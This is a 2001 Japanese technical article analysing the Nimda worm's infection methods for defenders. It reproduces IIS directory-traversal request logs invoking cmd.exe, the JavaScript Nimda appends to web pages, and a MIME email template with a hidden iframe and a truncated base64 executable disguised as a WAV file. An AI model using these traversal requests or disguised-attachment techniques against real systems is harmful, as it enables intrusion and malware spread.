Insider's Eye

ネットを震撼させたコンピュータ・ワーム、Nimdaを検証する

1.Nimdaの感染原理

デジタルアドバンテージ
2001/09/27

 Nimdaはさまざまな方法を使ってシステムに感染するという特徴を持っている。いったんシステムに侵入し、実行を開始したNimdaは、以下のような手段を使って感染を広げていく。以下、この図中の番号ごとに見出しを分けて、その感染方法について解説する。

Nimdaの感染方法
NimdaはWebページを見ただけ(プレビューしただけ)でも感染するという感染力の強いウイルス/ワームである。その感染方法は、Internet ExploerやOutlook(Outlook Express)の脆弱性だけでなく、IISの脆弱性をも使ってユーザーが来るのを待ち受けたり、ファイル共有やメール送信などでネットワーク中へ感染を広げる。

1.Code Redのバックドア経由で侵入
 Code Redは、IISのセキュリティ・ホールを突いてシステムに侵入するワームであるが、そのCode Redの亜種(Code Red II)が作成したバックドアを使って、プログラムを送り込む。いったんシステムへの侵入が成功すると、後で外部から自由にシステムを操作できるように、(Administratorsグループに属するようにセットした)Guestアカウントを作成してフォルダ(Cドライブ)を共有/公開したり、さらに新たにシステム権限でシステム内のファイルを書き換えて増殖したり、他のシステムへの侵入を試みたりする。

 このバックドア経由で侵入が試みられると、IISには以下のようなログが残される(以下の2.のぜい弱性に対する攻撃も含まれている。Code Red IIのバックドアが仕掛けられていると、root.exeに対するアクセスが成功する)。Code Redのときと比べると、1つのIPアドレスに対する通信の量はばるかに多いので(1つのIPアドレスごとに16個のGET要求が出されている)、ネットワークに与える負荷もかなり大きい。もしこれらのGET要求のうち1つでも成功するようならば、そこを使って、外部から自由にコマンドを実行させることが可能になる。

2001-09-24 16:01:17 61.218.XXX.XXX - 192.168.1.71 GET /scripts/root.exe /c+dir 404 3406 72 16 HTTP/1.0 - - -
2001-09-24 16:01:20 61.218.XXX.XXX - 192.168.1.71 GET /MSADC/root.exe /c+dir 404 3406 70 0 HTTP/1.0 - - -
2001-09-24 16:01:24 61.218.XXX.XXX - 192.168.1.71 GET /c/winnt/system32/cmd.exe /c+dir 404 3406 80 0 HTTP/1.0 - - -
2001-09-24 16:01:26 61.218.XXX.XXX - 192.168.1.71 GET /d/winnt/system32/cmd.exe /c+dir 404 3406 80 0 HTTP/1.0 - - -
2001-09-24 16:01:30 61.218.XXX.XXX - 192.168.1.71 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3406 96 0 HTTP/1.0 - - -
2001-09-24 16:01:33 61.218.XXX.XXX - 192.168.1.71 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 3406 117 0 HTTP/1.0 - - -
2001-09-24 16:01:37 61.218.XXX.XXX - 192.168.1.71 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 3406 117 0 HTTP/1.0 - - -
2001-09-24 16:01:40 61.218.XXX.XXX - 192.168.1.71 GET /msadc/..%5c../..%5c../..%5c/..チ ../..チ ../..チ ../winnt/system32/cmd.exe /c+dir 404 3406 145 0 HTTP/1.0 - - -
2001-09-24 16:01:52 61.218.XXX.XXX - 192.168.1.71 GET /scripts/..チ ../winnt/system32/cmd.exe /c+dir 404 3406 97 0 HTTP/1.0 - - -
2001-09-24 16:02:05 61.218.XXX.XXX - 192.168.1.71 GET /scripts/winnt/system32/cmd.exe /c+dir 404 3406 97 0 HTTP/1.0 - - -
2001-09-24 16:02:12 61.218.XXX.XXX - 192.168.1.71 GET /winnt/system32/cmd.exe /c+dir 404 3406 97 0 HTTP/1.0 - - -
2001-09-24 16:02:15 61.218.XXX.XXX - 192.168.1.71 GET /winnt/system32/cmd.exe /c+dir 404 3406 97 0 HTTP/1.0 - - -
2001-09-24 16:02:27 61.218.XXX.XXX - 192.168.1.71 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3406 98 0 HTTP/1.0 - - -
2001-09-24 16:02:35 61.218.XXX.XXX - 192.168.1.71 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3406 96 0 HTTP/1.0 - - -
2001-09-24 16:02:39 61.218.XXX.XXX - 192.168.1.71 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3406 100 0 HTTP/1.0 - - -
2001-09-24 16:02:45 61.218.XXX.XXX - 192.168.1.71 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 3406 96 0 HTTP/1.0 - - -


※さまざまなGET要求を発行してroot.exeやcmd.exeがアクセスできるかどうかを試している。これらが外部からアクセスできるようならば、自由にコマンドを送り込んで実行できることになる。

 いったんシステムへの侵入が成功すれば、次はNimdaをさらに流布させるために、共有ディレクトリを含むさまざまな場所に、MIMEエンコードされたNimdaのバイナリ・コードがreadme.emlやreadme.nwsなどというファイル名で置かれる。この拡張子はOutlook Expressなどで使用するメールやニュース・メッセージのためのファイルであり、ぜい弱性のあるInternet ExplorerやOutlook(Outlook Express)環境でこれらのファイルを見ようとすると、クライアントにNimdaが感染することになる(詳細については以下の3.を参照)。

 さらにNimdaでは、Webコンテンツの含まれたディレクトリを見つけると、そこにある.htmや.html、.aspファイルの内容を書き換えて、その末尾に次のようなJavaScriptコードを追加する。

<script language="JavaScript">
  window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
</script>

 これは、readme.emlファイルを別ウィンドウで表示させるためのコードである。このコードを含むHTMLページをぜい弱性のあるInternet Explorer/Outlook(Outlook Express)で見ると、新しいウィンドウが開き、そこにあるreadme.emlが自動的にダウンロードされて、実行されることになる。ただし、ウィンドウが表示される場所は、スクリプトのとおり、左上隅から6000×6000ピクセルの位置が指定されているので、実際の表示画面のはるか右下の位置になる。画面上には表示されないので、通常は感染したことに気が付かないだろう(ただしタスクバーには1つ余計にウィンドウ・タイトルが現れるので、注意深く見ていれば気が付くかも知れない)。

2.IISのぜい弱性を使用して侵入
 これは、IIS(IIS 4.0および5.0)のデフォルト状態におけるぜい弱性を利用して、サーバ・システムに侵入するという方法である。上記のログ中にある「cmd.exe」や「root.exe」へのアクセス要求がそのぜい弱性をチェックするためのものであり、もしこれへのアクセスが可能になっていれば、そのぜい弱性を使って自分自身を送信し、実行を始める。具体的には、cmd.exeを使ってIISサーバ上でTFTPコマンドを起動させ、ファイルをローカル・マシンからIISサーバ側へadmin.dllというファイル名で送り込む。そしてIISサーバ上で新たに活動を始めるのである。活動内容は1.と同じである。

3.Webページ参照で自動ダウンロード
 これはInternet Explorerのぜい弱性を利用した侵入方法である。ぜい弱性のあるInternet Explorer/Outlook(Outlook Express)の組み合わせでは、ある特定のファイル・タイプが付けられた添付ファイルに対しては、ユーザーが明示的にダウンロード/実行を指示しなくても、プレビューするだけで自動的に実行してしまうというバグがある。本来ならば、保存や実行する前には必ずユーザーに確認をして、ユーザーが指示した場合以外では保存や実行をしてはいけないのだが、ぜい弱性のために勝手に実行してしまうのである。Nimdaではこのぜい弱性を利用して、Webサーバ上にNimdaの実行ファイル(readme.emlなど)を置いておき、それを見たクライアント・マシンに自動的に感染させている。

 ダウンロードされるファイルは先の1.や2.で用意されている、MIMEエンコードされたNimdaのプログラム・コード(nimda.exe)である(以下のリスト参照)。そのため、これを実行してしまうとクライアント・マシンがNimdaに感染してしまうことになる。最新のパッチを適用したIEでは、このような実行ファイルの場合でも、すぐに実行せずにユーザーにどうするかを問い合わせるようになっているが、ぜい弱性のあるIE環境下では自動的に実行されてしまう。ファイルを偽装するためにCONTENT-TYPEを“content-Type: audio/x-wav;”として音声ファイルのように見せかけているが、ユーザーの環境によっては(再生するために)メディア・プレーヤーを起動しようとして失敗することもあるようだ。

MIME-Version: 1.0
Content-Type: multipart/related;
        type="multipart/alternative";
        boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
        boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
        name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdC
BiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6p
cPHW1TzyZqkU8dbVPPJmqSzxytU88cbVOPBG1TzyZqkQ8fbVPPMmzSTxwtU88Umlj
aHG1TzwAAAAAAAAAANIV3AYAAAB/UEUAAEwBBQB1Oqc7AAAAAAAAAADgAA4BCwEGA
ABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAAAAAABAAAAA
AAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAA
AAACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQA4CgAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAFZlAAAAEAAAAHAAAAAQAA
AAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq

(以下省略)


※クライアントへダウンロードされるファイルの内容

 クライアント上でNimdaが起動すると、IISへの攻撃と、クライアント・マシン上でのさらなる感染動作の両方が行われる。

 IISへの攻撃は、上記の1.と2.で述べたように、ぜい弱性のあるIISの探索とそこへの侵入という形で行われる。攻撃するターゲットのIPアドレスは、Nimdaが動作しているマシンのIPアドレスをベースにしてランダムに決められ、侵入できるかどうかが調べられる。例えばクライアントのIPアドレスが10.1.2.3ならば、攻撃の50%は10.1.*.*に対して行われ、25%は10.*.*.*に対して行われ、残り25%は完全なランダムなIPアドレスに対して行われる。この結果、ある1台がNimdaに感染すると、同じようなIPアドレスを持つコンピュータ(ローカルのLAN上のマシンとか、同じISPに属しているマシンなど)が攻撃の対象となりやすく、一気に感染が拡大、伝播する(このようなIPアドレスの選択方法はCode Red IIでの方式を模倣している)。

 IISへの攻撃以外にも、Nimdaはクライアント・マシン上でも感染を行うようになっている。この場合の感染方法は、先のIISサーバ上での感染動作とほぼ同じで、MIMEエンコードしたNimdaコードを各ディレクトリ中にある.nwsファイルや.emlファイルに上書きコピーすることによって行われる。また他のマシンの公開フォルダを共有している場合は、その共有フォルダ上にも自分自身のコピーを置くので、同じフォルダを共有している他のマシンでそれらのファイルをオープンしたり、プレビュー・オプションを指定したままエクスプローラなどでディレクトリをブラウズすると、そのマシンにも感染する。さらに、各.exeファイルを書き換えて、最初にNimda自身を起動して、その後に元の.exeプログラムを実行するようにしている。これにより、確実にNimdaが起動、感染するようになる。

 このほか、.docファイルがあるディレクトリには、自分自身のコピーをRICHED20.DLLとして書き込んでおく。これは、WordやWordpadなどが.docファイルを開くときに使用されるリッチテキスト処理用のDLLであり、.docをオープンするときにこれがカレントディレクトリにあると、(システム・ディレクトリ中のものもよりも優先して)まずそれがオープンされるというWindowsの特性を利用している。これにより、.docをオープンするだけでもNimdaに感染することになる。

4.Eメールで配布
 Nimdaはメール経由でも配布、感染する。Nimdaが起動すると、MAPI経由でメール・アプリケーションのアドレス帳を検索したり、システムの中にある.HTMLファイルをスキャンしてその中にあるメール・アドレスを取り出すなどして、さまざまなメール・アドレスを収集する。そして、それらのアドレスに向けてReadme.exeファイルを添付して送信し、相手がメールを開いたり、プレビューしたりするとそこで新たに感染し、活動を始める。メールの送信はNimda自身のなかに用意されているメール送信エンジンを使うので、メール・ソフトウェアの送信履歴には残らない。

5.ファイル共有でコピー
 これはサーバの共有ディレクトリ経由で流布、感染する方法である。先の3.で述べたように、共有フォルダ経由で自分自身のコピーを配布し、他のユーザーがそれをプレビューしたり、起動したりするのを待つのである。これにより、メールやインターネットへアクセスしなくてもNimdaに感染することになるし、さらにそこから他のマシンへの感染が拡大するので、非常にやっかいである。


 INDEX
  [Insider's Eye]ネットを震撼させたコンピュータ・ワーム、Nimdaを検証する
  1.Nimdaの感染原理
    2.Nimdaの検出と駆除、対策
 
「Insider's Eye」


Windows Server Insider フォーラム 新着記事
@ITメールマガジン 新着情報やスタッフのコラムがメールで届きます(無料)

注目のテーマ

Windows Server Insider 記事ランキング

本日 月間